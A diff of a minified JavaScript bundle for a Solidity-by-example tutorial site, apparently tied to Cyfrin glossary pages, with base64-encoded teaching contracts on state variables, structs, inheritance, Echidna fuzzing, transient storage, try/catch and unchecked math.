                                            `,qB=({prev:s,next:a})=>r.jsx(A,{version:UB,title:_B,description:LB,cyfrinLink:OB,html:$B,prev:s,next:a,codes:PB}),sG="0.8.26",aG="Reading and Writing to a State Variable",nG="Reading and Writing to a State Variable",lG="https://www.cyfrin.io/glossary/reading-and-writing-to-a-state-variable-solidity-code-example",pG=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQyNTYgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50MjU2IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],eG=`

                                            To write or update a state variable you need to send a transaction.

                                            +`,rf=({prev:s,next:a})=>r.jsx(A,{version:lf,title:pf,description:ef,cyfrinLink:cf,html:of,prev:s,next:a,codes:tf}),gf="0.8.26",hf="Reading and Writing to a State Variable",If="Reading and Writing to a State Variable",df="https://www.cyfrin.io/glossary/reading-and-writing-to-a-state-variable-solidity-code-example",Cf=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQyNTYgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50MjU2IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],jf=`

                                            To write or update a state variable you need to send a transaction.

                                            On the other hand, you can read state variables, for free, without any transaction fee.

                                            // SPDX-License-Identifier: MIT
                                             pragma solidity ^0.8.26;
                                            @@ -11980,7 +12352,7 @@ How to Sign and Verify
                                                     return num;
                                                 }
                                             }
                                            -
                                            `,cG=({prev:s,next:a})=>r.jsx(A,{version:sG,title:aG,description:nG,cyfrinLink:lG,html:eG,prev:s,next:a,codes:pG}),tG="0.8.26",oG="Structs",rG="An example of how to use structs in Solidity",iG="https://www.cyfrin.io/glossary/structs-solidity-code-example",gG=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50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AgICB9Cn0K"}],hG=`

                                            You can define your own type by creating a struct.

                                            +`,Af=({prev:s,next:a})=>r.jsx(A,{version:gf,title:hf,description:If,cyfrinLink:df,html:jf,prev:s,next:a,codes:Cf}),uf="0.8.26",yf="Structs",mf="An example of how to use structs in Solidity",bf="https://www.cyfrin.io/glossary/structs-solidity-code-example",wf=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo="},{fileName:"StructImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW4gYXJyYXkgb2YgJ1RvZG8nIHN0cnVjdHMKICAgIFRvZG9bXSBwdWJsaWMgdG9kb3M7Cn0K"},{fileName:"Structs.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRvZG9zIHsKICAgIHN0cnVjdCBUb2RvIHsKICAgICAgICBzdHJpbmcgdGV4dDsKICAgICAgICBib29sIGNvbXBsZXRlZDsKICAgIH0KCiAgICAvLyBBbiBhcnJheSBvZiAnVG9kbycgc3RydWN0cwogICAgVG9kb1tdIHB1YmxpYyB0b2RvczsKCiAgICBmdW5jdGlvbiBjcmVhdGUoc3RyaW5nIGNhbGxkYXRhIF90ZXh0KSBwdWJsaWMgewogICAgICAgIC8vIDMgd2F5cyB0byBpbml0aWFsaXplIGEgc3RydWN0CiAgICAgICAgL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9IF90ZXh0OwogICAgfQoKICAgIC8vIHVwZGF0ZSBjb21wbGV0ZWQKICAgIGZ1bmN0aW9uIHRvZ2dsZUNvbXBsZXRlZCh1aW50MjU2IF9pbmRleCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby5jb21wbGV0ZWQgPSAhdG9kby5jb21wbGV0ZWQ7CiAgICB9Cn0K"}],kf=`

                                            You can define your own type by creating a struct.

                                            They are useful for grouping together related data.

                                            Structs can be declared outside of a contract and imported in another contract.

                                            // SPDX-License-Identifier: MIT
                                            @@ -12054,7 +12426,7 @@ How to Sign and Verify
                                                 // An array of 'Todo' structs
                                                 Todo[] public todos;
                                             }
                                            -
                                            `,IG=({prev:s,next:a})=>r.jsx(A,{version:tG,title:oG,description:rG,cyfrinLink:iG,html:hG,prev:s,next:a,codes:gG}),dG="0.8.26",CG="Calling Parent Contracts",jG="An example of calling parent contracts in Solidity",AG="https://www.cyfrin.io/glossary/calling-parent-contracts-solidity-code-example",uG=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gWW91IGNhbiBlbWl0IGV2ZW50cyBmcm9tIHlvdXIgZnVuY3Rpb24KICAgIC8vIGFuZCB0aGV5IGFyZSBsb2dnZWQgaW50byB0aGUgdHJhbnNhY3Rpb24gbG9nLgogICAgLy8gSW4gb3VyIGNhc2UsIHRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIHRyYWNpbmcgZnVuY3Rpb24gY2FsbHMuCiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGZ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ywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],yG=`

                                            Parent contracts can be called directly, or by using the keyword super.

                                            +`,Zf=({prev:s,next:a})=>r.jsx(A,{version:uf,title:yf,description:mf,cyfrinLink:bf,html:kf,prev:s,next:a,codes:wf}),Wf="0.8.26",Gf="Calling Parent Contracts",Bf="An example of calling parent contracts in Solidity",ff="https://www.cyfrin.io/glossary/calling-parent-contracts-solidity-code-example",Vf=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gWW91IGNhbiBlbWl0IGV2ZW50cyBmcm9tIHlvdXIgZnVuY3Rpb24KICAgIC8vIGFuZCB0aGV5IGFyZSBsb2dnZWQgaW50byB0aGUgdHJhbnNhY3Rpb24gbG9nLgogICAgLy8gSW4gb3VyIGNhc2UsIHRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIHRyYWNpbmcgZnVuY3Rpb24gY2FsbHMuCiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICBlbWl0IExvZygiQS5m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dXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],Yf=`

                                            Parent contracts can be called directly, or by using the keyword super.

                                            By using the keyword super, all of the immediate parent contracts will be called.

                                            // SPDX-License-Identifier: MIT
                                             pragma solidity ^0.8.26;
                                            @@ -12122,7 +12494,7 @@ B   C
                                                     super.bar();
                                                 }
                                             }
                                            -
                                            `,mG=({prev:s,next:a})=>r.jsx(A,{version:dG,title:CG,description:jG,cyfrinLink:AG,html:yG,prev:s,next:a,codes:uG}),bG="0.8.26",wG="Echidna",kG="An example of testing contracts with Echidna",ZG="",WG=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hIEVjaGlkbmFUZXN0VGltZUFuZENhbGxlci5zb2wgLS1jb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRDYWxsZXIKKi8KY29udHJhY3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyIHsKICAgIGJvb2wgcHJpdmF0ZSBwYXNzID0gdHJ1ZTsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjcmVhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CgogICAgLyoKICAgIHRlc3Qgd2lsbCBmYWlsIGlmIEVjaGlkbmEgY2FuIGNhbGwgc2V0RmFpb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geSk7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB4KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB5KTsKICAgICAgICB9CiAgICB9Cn0K"}],BG=`

                                            Examples of fuzzing with Echidna.

                                            +`,Xf=({prev:s,next:a})=>r.jsx(A,{version:Wf,title:Gf,description:Bf,cyfrinLink:ff,html:Yf,prev:s,next:a,codes:Vf}),Rf="0.8.26",vf="Echidna",Nf="An example of testing contracts with Echidna",Hf="",Kf=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hIEVjaGlkbmFUZXN0VGltZUFuZENhbGxlci5zb2wgLS1jb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRDYWxsZXIKKi8KY29udHJhY3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyIHsKICAgIGJvb2wgcHJpdmF0ZSBwYXNzID0gdHJ1ZTsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjcmVhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CgogICAgLyoKICAgIHRlc3Qgd2lsbCBmYWlsIGlmIEVjaGlkbmEgY2FuIGNhbGwgc2V0RmFpbCgpCiAgICB0ZXN0IHdpbGwgcGFzcyBvdGhlcndpc2UKICAgICovCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfcGFzcygpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gcGFzczsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRGYWlsKCkgZXh0ZXJuYWwgewogICAgICAgIC8qCiAgICAgICAgRWNoa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ICAgICAgICAvLyBIZXJlIHdlIGFyZSB0ZXN0aW5nIHRoYXQgQ291bnRlci5jb3VudCBzaG91bGQgYWx3YXlzIGJlIDw9IDUuCiAgICAgICAgLy8gVGVzdCB3aWxsIGZhaWwuIEVjaGlkbmEgaXMgc21hcnQgZW5vdWdoIHRvIGNhbGwgQ291bnRlci5pbmMoKSBtb3JlCiAgICAgICAgLy8gdGhhbiA1IHRpbWVzLgogICAgICAgIHJldHVybiBjb3VudCA8PSA1OwogICAgfQp9CgovKgplY2hpZG5hIFRlc3RFY2hpZG5hLnNvbCAtLWNvbnRyYWN0IFRlc3RBc3NlcnQgLS10ZXN0LW1vZGUgYXNzZXJ0aW9uCiovCmNvbnRyYWN0IFRlc3RBc3NlcnQgewogICAgZnVuY3Rpb24gdGVzdF9hc3NlcnQodWludDI1NiBfaSkgZXh0ZXJuYWwgewogICAgICAgIGFzc2VydChfaSA8IDEwKTsKICAgIH0KCiAgICAvLyBNb3JlIGNvbXBsZXggZXhhbXBsZQogICAgZnVuY3Rpb24gYWJzKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGlmICh4ID49IHkpIHsKICAgICAgICAgICAgcmV0dXJuIHggLSB5OwogICAgICAgIH0KICAgICAgICByZXR1cm4geSAtIHg7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9hYnModWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IHogPSBhYnMoeCwgeSk7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB4KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB5KTsKICAgICAgICB9CiAgICB9Cn0K"}],Ff=`

                                            Examples of fuzzing with Echidna.

                                            1. Save the solidity contract as TestEchidna.sol
                                            2. In the folder where your contract is stored execute the following command.
                                            3. @@ -12254,7 +12626,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return false; } } -`,GG=({prev:s,next:a})=>r.jsx(A,{version:bG,title:wG,description:kG,cyfrinLink:ZG,html:BG,prev:s,next:a,codes:WG}),fG="0.8.26",VG="Transient Storage",YG="transient storage",XG="https://www.cyfrin.io/glossary/transient-storage-solidity-code-example",vG=[{fileName:"TransientStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE1ha2Ugc3VyZSBFVk0gdmVyc2lvbiBhbmQgVk0gc2V0IHRvIENhbmN1bgoKLy8gU3RvcmFnZSAtIGRhdGEgaXMgc3RvcmVkIG9uIHRoZSBibG9ja2NoYWluCi8vIE1lbW9yeSAtIGRhdGEgaXMgY2xlYXJlZCBvdXQgYWZ0ZXIgYSBmdW5jdGlvbiBjYWxsCi8vIFRyYW5zaWVudCBzdG9yYWdlIC0gZGF0YSBpcyBjbGVhcmVkIG91dCBhZnRlciBhIHRyYW5zYWN0aW9uCgppbnRlcmZhY2UgSVRlc3QgewogICAgZnVuY3Rpb24gdmFsKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbDsKfQoKY29udHJhY3QgQ2FsbGJhY2sgewogICAgdWludDI1NiBwdWJsaWMgdmFsOwoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgewogICAgICAgIHZhbCA9IElUZXN0KG1zZy5zZW5kZXIpLnZhbCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoYWRkcmVzcyB0YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICBJVGVzdCh0YXJnZXQpLnRlc3QoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdFN0b3JhZ2UgewogICAgdWludDI1NiBwdWJsaWMgdmFsOwoKICAgIGZ1bmN0aW9uIHRlc3QoKSBw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NlbWJseSB7CiAgICAgICAgICAgIGlmIHRsb2FkKFNMT1QpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgdHN0b3JlKFNMT1QsIDEpCiAgICAgICAgfQogICAgICAgIF87CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICB0c3RvcmUoU0xPVCwgMCkKICAgICAgICB9CiAgICB9CgogICAgLy8gMjE4ODcgZ2FzCiAgICBmdW5jdGlvbiB0ZXN0KCkgZXh0ZXJuYWwgbG9jayB7CiAgICAgICAgLy8gSWdub3JlIGNhbGwgZXJyb3IKICAgICAgICBieXRlcyBtZW1vcnkgYiA9ICIiOwogICAgICAgIG1zZy5zZW5kZXIuY2FsbChiKTsKICAgIH0KfQo="}],RG=`

                                              Data stored in transient storage is cleared out after transaction.

                                              +`,Mf=({prev:s,next:a})=>r.jsx(A,{version:Rf,title:vf,description:Nf,cyfrinLink:Hf,html:Ff,prev:s,next:a,codes:Kf}),Sf="0.8.26",xf="Transient Storage",Jf="transient storage",zf="https://www.cyfrin.io/glossary/transient-storage-solidity-code-example",Df=[{fileName:"TransientStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE1ha2Ugc3VyZSBFVk0gdmVyc2lvbiBhbmQgVk0gc2V0IHRvIENhbmN1bgoKLy8gU3RvcmFnZSAtIGRhdGEgaXMgc3RvcmVkIG9uIHRoZSBibG9ja2NoYWluCi8vIE1lbW9yeSAtIGRhdGEgaXMgY2xlYXJlZCBvdXQgYWZ0ZXIgYSBmdW5jdGlvbiBjYWxsCi8vIFRyYW5zaWVudCBzdG9yYWdlIC0gZGF0YSBpcyBjbGVhcmVkIG91dCBhZnRlciBhIHRyYW5zYWN0aW9uCgppbnRlcmZhY2UgSVRlc3QgewogICAgZnVuY3Rpb24gdmFsKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ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vY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KCiAgICAvLyAzNTMxMyBnYXMKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgbG9jayB7CiAgICAgICAgLy8gSWdub3JlIGNhbGwgZXJyb3IKICAgICAgICBieXRlcyBtZW1vcnkgYiA9ICIiOwogICAgICAgIG1zZy5zZW5kZXIuY2FsbChiKTsKICAgIH0KfQoKY29udHJhY3QgUmVlbnRyYW5jeUd1YXJkVHJhbnNpZW50IHsKICAgIGJ5dGVzMzIgY29uc3RhbnQgU0xPVCA9IDA7CgogICAgbW9kaWZpZXIgbG9jaygpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGlmIHRsb2FkKFNMT1QpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgdHN0b3JlKFNMT1QsIDEpCiAgICAgICAgfQogICAgICAgIF87CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICB0c3RvcmUoU0xPVCwgMCkKICAgICAgICB9CiAgICB9CgogICAgLy8gMjE4ODcgZ2FzCiAgICBmdW5jdGlvbiB0ZXN0KCkgZXh0ZXJuYWwgbG9jayB7CiAgICAgICAgLy8gSWdub3JlIGNhbGwgZXJyb3IKICAgICAgICBieXRlcyBtZW1vcnkgYiA9ICIiOwogICAgICAgIG1zZy5zZW5kZXIuY2FsbChiKTsKICAgIH0KfQo="}],Ef=`

                                              Data stored in transient storage is cleared out after transaction.

                                              // SPDX-License-Identifier: MIT
                                               pragma solidity ^0.8.26;
                                               
                                              @@ -12348,7 +12720,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                                                       msg.sender.call(b);
                                                   }
                                               }
                                              -
                                              `,NG=({prev:s,next:a})=>r.jsx(A,{version:fG,title:VG,description:YG,cyfrinLink:XG,html:RG,prev:s,next:a,codes:vG}),HG="0.8.26",FG="Try Catch",KG="An example of try / catch in Solidity",MG="https://www.cyfrin.io/glossary/try-catch-solidity-code-example",SG=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHRlcm5hbCBjYWxsCiAgICAgICAgZm9vID0gbmV3IEZvbyhtc2cuc2VuZGVyKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIHRyeSAvIGNhdGNo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AgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],xG=`

                                              try / catch can only catch errors from external function calls and contract creation.

                                              +`,Qf=({prev:s,next:a})=>r.jsx(A,{version:Sf,title:xf,description:Jf,cyfrinLink:zf,html:Ef,prev:s,next:a,codes:Df}),Tf="0.8.26",Uf="Try Catch",Lf="An example of try / catch in Solidity",_f="https://www.cyfrin.io/glossary/try-catch-solidity-code-example",Of=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7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vZiB0cnkgLyBjYXRjaCB3aXRoIGNvbnRyYWN0IGNyZWF0aW9uCiAgICAvLyB0cnlDYXRjaE5ld0NvbnRyYWN0KDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgPT4gTG9nKCJpbnZhbGlkIGFkZHJlc3MiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDEpID0+IExvZ0J5dGVzKCIiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDIpID0+IExvZygiRm9vIGNyZWF0ZWQiKQogICAgZnVuY3Rpb24gdHJ5Q2F0Y2hOZXdDb250cmFjdChhZGRyZXNzIF9vd25lcikgcHVibGljIHsKICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],Pf=`

                                              try / catch can only catch errors from external function calls and contract creation.

                                              // SPDX-License-Identifier: MIT
                                               pragma solidity ^0.8.26;
                                               
                                              @@ -12407,7 +12779,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                                                       }
                                                   }
                                               }
                                              -
                                              `,JG=({prev:s,next:a})=>r.jsx(A,{version:HG,title:FG,description:KG,cyfrinLink:MG,html:xG,prev:s,next:a,codes:SG}),zG="0.8.26",DG="Unchecked Math",EG="An example of unchecked math in Solidity",QG="https://www.cyfrin.io/glossary/unchecked-math-solidity-code-example",TG=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW